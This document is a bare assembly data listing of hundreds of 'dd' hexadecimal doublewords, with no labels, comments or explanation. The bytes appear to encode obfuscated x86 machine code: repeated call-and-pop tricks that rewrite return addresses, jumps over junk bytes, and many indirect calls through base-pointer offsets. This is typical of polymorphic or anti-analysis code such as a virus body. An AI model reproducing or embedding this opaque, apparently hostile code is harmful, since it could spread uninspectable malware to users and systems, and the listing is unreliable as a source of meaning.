dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 6C799C3h, 0E64D16F5h, 0BD8B11A4h, 61F2A51h, 0EE8D0FFh
dd 53000000h, 0ED90F2CDh, 319D0ADh, 32EF2C12h, 1DBD8934h
dd 5A061F02h, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 0B3D917DEh, 5D6D2316h, 0AE9h, 390EA400h
dd 0B7907C76h, 894A4A6Ch, 1F1655B5h, 61858D06h, 6A062207h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 9218C357h, 0E19ED492h, 9400C7h, 81660000h
dd 582BD3D7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 0D2C35141h, 14ADBD01h, 8E0F061Fh, 0
dd 761B58Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 10620CC3h, 5760AD8Ah, 1CE9B589h
dd 6158061Fh, 29950356h, 0FF061F00h, 53006AD0h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8DC7CA25h
dd 22076185h, 7637B906h, 78830EECh, 850F0604h, 19h, 2E758D8Bh
dd 8D8B061Fh, 61F2A91h, 7F585C7h, 10622h, 0BF0F0000h, 75BD83C8h
dd 61F0Dh, 71850Fh, 0FE90000h, 0F5000000h, 0A6451232h
dd 6198F245h, 0C2E6C3BFh, 0BD83F28Dh, 62207F5h, 50850F00h
dd 66000000h, 2CA6D781h, 10DDBD83h, 0F00061Fh, 3E84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0A6545CDFh, 23C6AB36h, 1F2E098Dh, 0D985C706h, 61F18h
dd 0F000000h, 68Bh, 0D9B58900h, 66061F08h, 0F18ADB8Ch
dd 0F04C3F6h, 57B84h, 0C5BD8B00h, 0C7061F32h, 1F0EF585h
dd 6, 21BD8B00h, 80061F1Dh, 22034BBDh, 850F0006h, 6, 0F0D958Bh
dd 85C6061Fh, 61F2025h, 38DA8147h, 6843B415h, 0E3E45B86h
dd 18C18D8Bh, 0B5FF061Fh, 61F20D9h, 11F5BD09h, 858D061Fh
dd 61F394Dh, 12E9h, 185B1100h, 83DA0F1Eh, 94B9DD3Ah, 252D904h
dd 0FFA2DA8Ch, 3D8D2BD0h, 0BF061F03h, 6CA934B8h, 10468h
dd 98D0F00h, 0F000000h, 381h, 0D7BF0F00h, 17659D8Dh, 8589061Fh
dd 61F07A9h, 50006A53h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0A9A6D195h, 5ED61E61h, 860F54h, 0E9000000h
dd 14h, 0ACE145DFh, 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h
dd 99B6D0FFh, 1765858Dh, 8166061Fh, 50DE04D7h, 0C558589h
dd 7DBA061Fh, 8D4726B9h, 2202FD85h, 58A0F06h, 0B9000000h
dd 1E9FD8BDh, 799D2950h, 8D061F26h, 21F9D085h, 0FEBF0F06h
dd 0E1B52950h, 0FF061F00h, 1F00A195h, 0C483FC06h, 0A9BD230Ch
dd 6A061F07h, 806800h, 36A0000h, 6A006Ah, 68h, 0D0858D80h
dd 500621F9h, 305195FFh, 8589061Fh, 62202E0h, 202585C6h
dd 6847061Fh, 0C7B15E87h, 20D9B5FFh, 858D061Fh, 61F394Dh
dd 6AD0FFh, 2E0B5FFh, 0D0FF0622h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0C7C35646h, 48F0FD4h, 66000000h
dd 0BA4556B9h, 14920AD6h, 37D03Dh, 3B830F00h, 3000000h
dd 1F24B18Dh, 0E0B5FF06h, 8B062202h, 1F05D195h, 0BE806h
dd 77F00000h, 3A957964h, 547C9AFFh, 0FF5AF906h, 1F107595h
dd 0D5B52906h, 0E9061F2Ch, 0E0h, 2359B529h, 0B5FF061Fh
dd 62202E0h, 881422BAh, 7595FF17h, 89061F10h, 1F0D5585h
dd 56006A06h, 2E35952Bh, 6A5A061Fh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 16D6C6B0h
dd 6AC2F928h, 68F0F00h, 8B000000h, 1F2BDDBDh, 0E9006A06h
dd 11h, 0C007E045h, 568A8BBDh, 0C9474053h, 2F4A9B64h, 66006A1Ah
dd 6ACF8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 6BC35646h, 5BB67977h, 14ADBD0Bh, 9D89061Fh, 61F2E55h
dd 2E4858Dh, 0D18B0622h, 5195FF50h, 6A061F30h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0BD2AC352h, 95958Bh, 0F883061Fh, 4E850FFFh, 0FC000001h
dd 0BA5A858Dh, 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0BBE1DAC3h, 0FDF02C2Dh, 699D8914h
dd 0FF061F1Bh, 75BA66D0h, 8B006A89h, 6A006AF9h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0B690C350h, 2D95B589h, 6A061Fh, 6AFA8B66h, 0E59D0900h
dd 6A061F09h, 5880F00h, 66000000h, 0D836D781h, 6A006Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 0F552CCC3h, 2E4858Dh, 0FE90622h, 0A0000000h, 0DC86DEDAh
dd 91A8CCFFh, 0CCFB333Ah, 81507C64h, 72171FCFh, 5195FF5Eh
dd 0E9061F30h, 0Fh, 5E6F3F3Bh, 70E8AF3h, 0C013852Eh, 836D3FC9h
dd 850FFFF8h, 71h, 1C318D8Bh, 0B58D061Fh, 621FCECh, 858DF98Bh
dd 621A8EBh, 310DBD8Bh, 0D0FF061Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 61C35040h, 0C41DC173h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 953198C3h, 61F1A81h, 10C1958Bh, 95FF061Fh, 61F0EE1h
dd 82D5DFBAh, 0E0858969h, 60062202h, 2F89B589h, 12E9061Fh
dd 0CF000000h, 0ED93CA09h, 0F5EB04BEh, 0B66A1759h, 0A8E2B756h
dd 6A61D7h, 28D78153h, 595C46F9h, 0BF3FBA66h, 2D8858Dh
dd 0BD8B0622h, 61F1191h, 99958950h, 6A061F1Bh, 56006A04h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0C6C8CF36h, 408E2FBEh, 858DF8E8h, 61F1BB5h, 1405BD89h
dd 6A50061Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 5AD7C352h, 6AEB4Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 25C35040h, 6AE88Ah
dd 0D95692BFh, 0E9016A30h, 12h, 1EC18223h, 966262B6h, 0D26A1B22h
dd 5C9BA663h, 0B5FF7030h, 62202E0h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 42C35141h, 0E9C2EA82h, 451E2E1Eh
dd 5E9BAh, 6F750000h, 664D4734h, 0FFC07ABAh, 1F088195h
dd 198D8B06h, 0E9061F2Fh, 1C8Fh, 0DE8h, 16BB1400h, 4A2D81FBh
dd 48E5EE81h, 11E8FDADh, 0A1000000h, 44B574FCh, 0F52D3A73h
dd 486D64EBh, 18725AA5h, 5F5A5A53h, 0EE8h, 0A045BC00h
dd 8AA2361Fh, 10EB21C7h, 573B6E9Dh, 65BCE981h, 595F58B5h
dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 0E290CC3h, 0E6104E24h, 850FC1h, 83000000h
dd 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh, 8B535019h
dd 7D2B8C0h, 85890000h, 61F0F65h, 0AFA49D8Dh, 0D3FF0621h
dd 0BD83585Bh, 61F1F51h, 50177400h, 7D2B853h, 85890000h
dd 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 0B966585Bh, 6A51E2h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 0BB9530C3h, 703EAE31h, 8A0F60EDh, 5, 36229CBFh, 7D950126h
dd 61061F05h, 860FC08Bh, 6, 1A558D29h, 85C7061Fh, 61F0EF5h
dd 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h
dd 7DC35545h, 0BBDFB591h, 0ADB50933h, 0E8061F0Bh, 11h
dd 527F1994h, 81FE9B38h, 5C72D65Ah, 3876DD79h, 8E9FFh
dd 392E0000h, 0E2F80056h, 685F2C53h, 0CEE4E7B8h, 1BE5B5FFh
dd 858D061Fh, 61F394Dh, 8589D0FFh, 61F0B6Dh, 5DBD468h
dd 0E5B5FFC0h, 8D061F1Bh, 1F394D85h, 89D0FF06h, 1F312585h
dd 89858D06h, 500621F7h, 20D9B5FFh, 95FF061Fh, 61F0A11h
dd 0B74C00Bh, 858DD88Bh, 622073Ch, 8DD3FF50h, 22073C85h
dd 38836606h, 0C70A7509h
dd 1F32C185h, 106h, 0F995FF00h, 25061F1Fh, 0FFh, 7305F883h
dd 0E185C70Ah, 1061F0Dh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F90AC350h
dd 0E7196CFCh, 5346D49Ah, 0B966D78Bh, 0BD808E83h, 622034Bh
dd 34850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0E2CAC350h, 0B1289EFDh
dd 8589F8CEh, 61F056Dh, 1A4AE9h, 29B50100h, 83061F00h
dd 1F32C1BDh, 850F0006h, 10Bh, 0D958Bh, 858D061Fh, 6220315h
dd 8E8h, 35EFC500h, 0DC0ABEFBh, 12E943h, 0A2370000h, 9C39C401h
dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 6A505Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 6AF8A5C3h
dd 99B58901h, 0E9061F2Ch, 13h, 0AED6EEA0h, 47B232D5h, 93CCB86Bh
dd 0BC8FF90Fh, 6A980DC3h, 80C78100h, 6A5FEDA1h, 58C0F00h
dd 66000000h, 0B1FFE181h, 2B0D95FFh, 8B60061Fh, 0F7B866CAh
dd 858961E8h, 622033Fh, 6ACABF0Fh, 57006AFFh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 5C6AC584h
dd 80A19171h, 958BE9F2h, 61F2B85h, 33FB5FFh, 6A0622h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 0CE871C3h, 0F1000000h, 31BC2554h, 6212D169h, 663FC3E6h
dd 1185D981h, 0ED95FF5Fh, 66061F1Ch, 8DB40EBAh, 21F75085h
dd 8E906h, 43FA0000h, 6E1DD302h, 0F5050BBh, 158Fh, 10E900h
dd 79F50000h, 7B73B324h, 0A1A0A75Eh, 61527ED8h, 95FFFC71h
dd 61F2DB1h, 12E8h, 0A0E64100h, 1106ABF6h, 936DF13Eh, 28C9033Eh
dd 8B04A732h, 0B5295FD3h, 61F2CDDh, 0F7DA8589h, 0B5090621h
dd 61F0779h, 5D858DFCh, 8B0621F7h, 6A50CEh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B67977C3h
dd 0D7A6275Bh, 0E8E3F8E7h, 13h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh
dd 11682DBFh, 66EC5948h, 0FF5ACB8Bh, 21F7DAB5h, 39E58006h
dd 2385958Bh, 95FF061Fh, 61F0A11h, 601BD0Bh, 8589061Fh
dd 61F09DDh, 8DCEBF0Fh, 21F7CB85h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 262B8CC9h
dd 0ABEF1BADh, 50F860C9h, 1AE1BD8Bh, 0B5FF061Fh, 621F7DAh
dd 6E8h, 83306500h, 1B77008h, 1F0241B5h, 95FF5906h, 61F0A11h
dd 1A3D9D89h, 8589061Fh, 621F7EEh, 2FDBD8Bh, 858D061Fh
dd 621F7AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0FFC35646h, 43D59978h, 0A5505247h, 858950F8h, 61F2BB1h
dd 0BE9h, 0F3497F00h, 45B5DFFh, 0A051A936h, 0F7DAB5FFh
dd 0B5890621h, 61F13E5h, 0A1195FFh, 8B66061Fh, 0AD8589D7h
dd 89061F24h, 21F7E685h, 6E906h, 0D8CD0000h, 273E4F9Ah
dd 0F79D858Dh, 0D78B0621h, 55006A50h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2F6A767Fh
dd 80571FBAh, 0FF5F50F5h, 21F7DAB5h, 1195FF06h, 0BA061F0Ah
dd 6F7A6260h, 0F7EA8589h, 81660621h, 8DAFB2F2h, 21F7B885h
dd 50CB8A06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 7C35343h, 68D0Fh, 95890000h, 61F1D01h, 83D952Bh
dd 0B5FF061Fh, 621F7DAh, 1F298501h, 95FF061Fh, 61F0A11h
dd 6830Fh, 95890000h, 61F0D99h, 2C418589h, 6A061Fh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0B12AE9C3h, 39A23F58h, 7E9h, 979B6F00h, 4BAFCA1Dh, 0F76C858Dh
dd 8A0F0621h, 0
dd 68C0Fh, 95890000h, 61F1709h, 0CEBF0F50h, 0F7DAB5FFh
dd 6A0621h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 0A72B5BC3h, 0A1195FFh, 6A061Fh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0DD9BADC3h
dd 7AD98166h, 0DE85894Fh, 6A0621F7h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8AB4C352h
dd 52F8B70Fh, 0C3F18166h, 858D5A22h, 621F77Bh, 7EF1B950h
dd 0B5FF5CC6h, 621F7DAh, 9CEA8166h, 1195FF7Ch, 8B061F0Ah
dd 1F0A15BDh, 0E2858906h, 0F0621F7h, 684h, 0C1BD8900h
dd 68061F2Ch, 104h, 5858D89h, 858D061Fh, 621F872h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 79C35343h, 0BE850h
dd 624E0000h, 74D8878Ah, 28F364A1h, 0D4D781CCh, 592FE171h
dd 0F976858Dh, 8D890621h, 61F0789h, 5E950h, 8C620000h
dd 29505EBAh, 1F31159Dh, 0E595FF06h, 6A061F06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 9D97C356h, 0BD0C2D9Bh, 6840F60h, 89000000h, 1F0FC1BDh
dd 8E906h, 1B340000h, 75E06334h, 6661AFFFh, 7F00EA81h
dd 850FC085h, 2, 0BD80D38Bh, 622034Bh, 11850F00h, 89000000h
dd 1F2741BDh, 1521E906h, 9D090000h, 61F1EA1h, 32C1BD83h
dd 0F00061Fh, 1B85h, 0F59D8900h, 83061F0Ah, 2207F5BDh
dd 840F0006h, 53h, 46F28166h, 59F852B1h, 0F80F858Dh, 0BD8B0621h
dd 61F2D71h, 14E2E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 0F4747D1Ah, 9B046E7Ch
dd 1D9D9589h, 800F061Fh, 0
dd 38E9h, 0A9958B00h, 8D061F0Fh, 21F7FA85h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 150DEEB9h, 0CF8185B5h, 75F274F5h, 82E78166h, 8DF55017h
dd 21F87285h, 115EB906h, 0F5005EDh, 3360CABFh, 1F2FE985h
dd 0A5BD8B06h, 61061F2Ch, 32C1BD83h, 0F00061Fh, 4884h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 98858D1Ch, 290621F9h, 1F158185h, 9E806h
dd 71E80000h, 4F25F9A5h, 0F1F0093h, 68Ch, 0C59D0900h, 5F061F23h
dd 26E9h, 81858D00h, 6A0621F9h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 4328C357h, 50D18B68h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6BC35545h
dd 0CEE1D7D0h, 820F3Ah, 0F000000h, 1F86h, 13E800h, 0F7EB0000h
dd 9772F3C6h, 0C607366Ah, 6A77C683h, 0D1091416h, 860F32h
dd 59000000h, 0F9D0858Dh, 0F520621h, 505FD3BFh, 0A99BD31h
dd 0BD89061Fh, 61F2B09h, 0A195FFh, 8A0F061Fh, 0Eh, 0BDBD2960h
dd 23061F20h, 1F2AD595h, 0C4836106h, 6EA8110h, 8B478189h
dd 8D9D89C0h, 83061F1Fh, 1F06C1BDh, 9750006h, 1F51BD83h
dd 7400061Fh, 8B535019h, 7D3B8C0h, 85890000h, 61F0F65h
dd 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h
dd 7D3B853h, 85890000h, 61F0F65h, 0AC939D8Dh, 0D3FF0621h
dd 8E9585Bh, 0D4000000h, 0D81DBC9h, 8B0903FEh, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0A78F6AD6h, 35958BDBh, 81061F0Bh, 21F7FABDh, 65726F06h
dd 0B1840F61h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0F6E8C357h, 0DB42AA63h
dd 9E89700h, 79000000h, 2EA8A3D5h, 0B9BE4840h, 72858D5Ah
dd 500621F8h, 0F9AF858Dh, 8D500621h, 21F9D085h, 95FF5006h
dd 61F00A1h, 0C60CC483h, 1F202585h, 4F684406h, 0FF96A318h
dd 1F20D9B5h, 4D858D06h, 0FF061F39h, 8DD88BD0h, 21F9D085h
dd 0D3FF5006h, 0F7FA858Dh, 8D500621h, 21F87285h, 0BD835006h
dd 61F32C1h, 8D087400h, 21F99885h, 8D06EB06h, 21F98185h
dd 858D5006h, 621F9D0h, 0A195FF50h, 83061F00h, 0B52910C4h
dd 61F2C39h, 1FF995FFh, 0B70F061Fh, 0FF25D6h, 11E90000h
dd 0E3000000h, 2D4CC4CEh, 0AE84C9A7h, 0CD51ACDBh, 0E80A0298h
dd 0F05F883h, 6983h, 0FB8B6600h, 0DE185C7h, 1061Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 8B1B09C3h, 5C339578h, 85DBD89h, 858D061Fh, 621F82Eh
dd 1CD9958Bh, 67E9061Fh, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 87C5C352h
dd 0BDB96656h, 0BD8359F6h, 61F32C1h, 30840F00h, 81000000h
dd 0D734ECC7h, 59858D00h, 0F0621F8h, 482h, 12B96600h, 1CE9BBh
dd 10E90000h, 1C000000h, 66629288h, 0ED33D49Dh, 0C217E15Eh
dd 8DF5D794h, 21F83B85h, 8589F806h, 621F86Eh, 13890Fh
dd 0EE90000h, 0E6000000h, 0E8C9C318h, 3695CDFCh, 45BA7DD8h
dd 83D78BDEh, 1F32C1BDh, 850F0006h, 32h, 5E4ABA66h, 7F5BD83h
dd 0F000622h, 3084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0DCD85F3Ah, 0CCE9DB89h
dd 66000010h, 8D5AD781h, 9789CDBFh, 485E92Ch, 0B5890000h
dd 61F1EE9h, 83F9C08Bh, 1F06C1BDh, 9750006h, 1F51BD83h
dd 7400061Fh, 8B535019h, 7D4B8C0h, 85890000h, 61F0F65h
dd 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h
dd 7D4B853h, 85890000h, 61F0F65h, 0AC939D8Dh, 0D3FF0621h
dd 9589585Bh, 61F07BDh, 31F5B509h, 0C08B061Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4EC35343h, 0ACF4A49Bh
dd 6629F058h, 3F68D18Bh, 0BF000F00h, 730BE650h, 6AFFBF0Fh
dd 68D0F00h, 0B000000h, 1F0165BDh, 6A006A06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 8825C357h, 0DD95FF05h, 0F061F09h, 0C8Dh, 6810F00h, 29000000h
dd 1F2B998Dh, 898D8B06h, 85061F2Ah, 6850FC0h, 89000000h
dd 1F2F8995h, 0F2858906h, 0E90621F7h, 0Ah, 61DE4F3Ah, 3BE57345h
dd 6A9930h, 13E9h, 767C9C00h, 0B63A1259h, 19A2DFE6h, 0A2F2378Dh
dd 5F317A2Eh, 0BB60006Ah, 2D53F0C0h, 6A61F8h, 0E85B529h
dd 6A061Fh, 6AD38Ah, 0D45BD8Bh, 858D061Fh, 621F9D0h, 2CF99589h
dd 8950061Fh, 1F24D995h, 0E8016A06h, 12h, 1D16C548h, 0FDE14433h
dd 33DD645Bh, 80247884h, 0B5898789h, 61F3005h, 13E85Fh
dd 77B90000h, 0EAA558E7h, 0E55E098Bh, 0EA86C438h, 0F9EC0A6Eh
dd 16A5FFEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 4CC35242h, 586D344Dh, 276C14BAh, 6A016A54h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0E559C350h, 0C43EBA66h, 0F01FF68h, 3BC18100h, 83080196h
dd 1F32C1BDh, 840F0006h, 18h, 2E99BD8Bh, 858D061Fh, 621F84Fh
dd 0E1816650h, 0E959FD99h, 2Ch, 0F825858Dh, 6A0621h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 7AF74FC3h, 8E244E30h, 0CFBF0FEFh, 0E2816650h, 89500903h
dd 1F0FC99Dh, 0F2B5FF06h, 8B0621F7h, 1F0785BDh, 0DE95FF06h
dd 6A0621F7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 53DEC351h, 1091958Bh, 8559061Fh
dd 32850FC0h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0ECC4C350h, 5D13B0F3h
dd 0F0D2587h, 7CE9D7B7h, 8B000000h, 1F18C5BDh, 0F6858906h
dd 6A0621F7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 96C2C357h, 10E88F42h, 10000000h
dd 524EF65Dh, 9CD725D1h, 452C7077h, 8168FE50h, 0CF68EBE1h
dd 0B5FF5A68h, 621F7F6h, 6890Fh, 0BD890000h, 61F1241h
dd 6810Fh, 958B0000h, 61F1379h, 2C4195FFh, 958B061Fh, 61F171Dh
dd 850FC085h, 3, 6AD08B66h, 0D5BD8B10h, 83061F31h, 1F32C1BDh
dd 840F0006h, 22h, 8DCF8B66h, 21F84F85h, 88C0F06h, 51000000h
dd 0D998D0Bh, 0E95F061Fh, 21h, 0D51BD89h, 858D061Fh, 621F825h
dd 10E9h, 2EE1B700h, 0B27E383Fh, 9BE7D0DBh, 4E3B2BEFh
dd 8D89503Dh, 61F2BFDh, 0F7F2B5FFh, 810F0621h, 17h, 12E9h
dd 7A8B4D00h, 350F7F6Ch, 4CD059Bh, 0EA781AB0h, 0FFA2E360h
dd 21F7EA95h, 9DBD8906h, 85061F15h, 9850FC0h, 66000000h
dd 81C3C781h, 4581BA66h, 0F7F68589h, 60BA0621h, 0E86BBC48h
dd 0Ch, 0A102B943h, 0E81108AAh, 693B5CD4h, 2EB58D2Bh, 6A5A061Fh
dd 70E28100h, 6A69C6A3h, 0CB8B6600h, 0F7F6B5FFh, 6A0621h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0C97F56C3h, 0F13752CCh, 5E5BD89h, 8D89061Fh, 61F1B3Dh
dd 0F7E295FFh, 29520621h, 1F32A195h, 9E95906h, 0A2000000h
dd 8222A780h, 8254680Ah, 850FC085h, 2, 0B5FF5F56h, 621F7F6h
dd 2C21958Bh, 8166061Fh, 0FFA6A8D7h, 1F2C4195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0DB2A7BDFh, 0C085C428h, 1850Fh, 6AFC0000h, 6842B500h
dd 80h, 0AE9h, 11E32500h, 0CA10C71h, 6AC293F1h, 0FD8D8903h
dd 6A061F1Dh, 618D8B00h, 6A061F1Bh, 0C9950100h, 68061F09h
dd 0C0000000h, 2CB98D8Bh, 0B5FF061Fh, 621F86Eh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 6DC35141h, 0E9819FCAh
dd 0EBC7E413h, 305195FFh, 0F08A061Fh, 0FFFF883h, 46085h
dd 0BE900h, 0FFB40000h, 85A9B54h, 79526621h, 12E93Bh, 3F1B0000h
dd 0A95A228Fh, 0A19E14ADh, 1729176Eh, 87DD507Ah, 2DC85FFh
dd 95890622h, 61F000Dh, 2DCBD83h, 0F020622h, 31484h, 2CDF8100h
dd 81185169h, 475FFDE1h, 9F858D30h, 80005AF5h, 0BD8904F1h
dd 61F020Dh, 8B66D0FFh, 0F2858DFBh, 0FF005AEFh, 0C98166D0h
dd 0C08B88E5h, 13E9h, 921CC500h, 409E25CEh, 0F3D9D7D8h
dd 5575968Fh, 0CF825986h, 6C1BD83h, 7500061Fh, 51BD8309h
dd 61F1Fh, 53501974h, 0D8B8C08Bh, 89000007h, 1F0F6585h
dd 0A49D8D06h, 0FF0621AFh, 83585BD3h, 1F1F51BDh, 17740006h
dd 0D8B85350h, 89000007h, 1F0F6585h, 939D8D06h, 0FF0621ACh
dd 0F585BD3h, 6E9C8B7h, 0E4000000h, 3E41353Dh, 6AC08B21h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 61ABC351h, 0B5F88B66h, 3F6824h, 850F000Fh
dd 0Eh, 21852360h, 0F061F2Dh, 88h, 6A6100h, 3800F56h, 80000000h
dd 6A5F8DF2h, 0F8BF0F00h, 9DD95FFh, 8589061Fh, 61F09D9h
dd 8D8BC085h, 61F1D0Dh, 0F7F28589h, 8D890621h, 61F15B5h
dd 0F01FF68h, 0E2816600h, 0BD831CFEh, 61F32C1h, 28840F00h
dd 80000000h, 858D03D6h, 621F84Fh, 1BC1958Bh, 1FE9061Fh
dd 0F000000h, 0C80h, 8D896000h, 61F18F9h, 0A873B966h, 8DD18B61h
dd 21F82585h, 0F1816606h, 2950B12Ah, 1F1B45BDh, 0F2B5FF06h
dd 0FF0621F7h, 21F7EA95h, 0FD9D0106h, 89061F2Ah, 21F7F685h
dd 6870F06h, 89000000h, 1F06C995h, 0DA816606h, 85C72EB2h
dd 61F20E5h, 0
dd 3101958Bh, 0BD83061Fh, 621F7F6h, 5D840F00h, 0E9000001h
dd 13h, 0E6B0E0F8h, 3F103D61h, 0AB86B72Ah, 88696636h, 8D36C9B9h
dd 21FAD485h, 418D8B06h, 50061F12h, 13E9h, 56486800h, 34004281h
dd 0BA500176h, 9C4440DAh, 0CC081F12h, 6A016Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 85C4CDC3h, 58D0FC1h, 0BA000000h, 5D9BCF0Bh, 0F7F6B5FFh
dd 0D78B0621h, 0F7EE95FFh, 0FFF50621h, 21F7F6B5h, 718D8B06h
dd 0FF061F15h, 1F2C4195h, 0AE86006h, 7A000000h, 82E10356h
dd 0DA105207h, 0CEBF0FAEh, 6144B15Ah, 0F01FF68h, 0BD83FC00h
dd 61F32C1h, 0D840F00h, 8D000000h, 21F84F85h, 0DE906h
dd 0CA8B0000h, 0F825858Dh, 81660621h, 504D49D1h, 1501958Bh
dd 0B529061Fh, 61F2099h, 0F7F2B5FFh, 0C9800621h, 0EA95FFACh
dd 890621F7h, 1F23C59Dh, 0F6858906h, 6A0621F7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 2450C351h, 0B5FFA118h, 621F7F6h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 0CEC35040h, 0DBE6D4BAh, 0E695FF71h
dd 660621F7h, 0B5FFFA8Bh, 621F7F6h, 6840Fh, 85290000h
dd 61F1729h, 2C4195FFh, 9BB5061Fh, 0FFF7C3E9h, 7E9FFh
dd 0EC400000h, 0A35B72EFh, 3FB5FF96h, 8B062203h, 1F003595h
dd 5995FF06h, 89061F2Dh, 1F20E995h, 0B9858B06h, 6A061F0Dh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 0FED2C351h, 9689617Ah, 8A0FC6FFh, 2, 18E94DB5h
dd 0E9000006h, 13h, 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h
dd 8D6D344Dh, 21FAF4B5h, 9BD8B06h, 0B9061F21h, 7896B467h
dd 0A8EB858Dh, 0AE90621h, 67000000h, 0B3A777F9h, 0D0225D24h
dd 66D0FF84h, 6AF98Bh, 0B8B0Fh, 6E90000h, 52000000h, 0E9D7E8DAh
dd 0D9816619h, 95FFBDC8h, 61F0EE1h, 16F18D89h, 0F38B061Fh
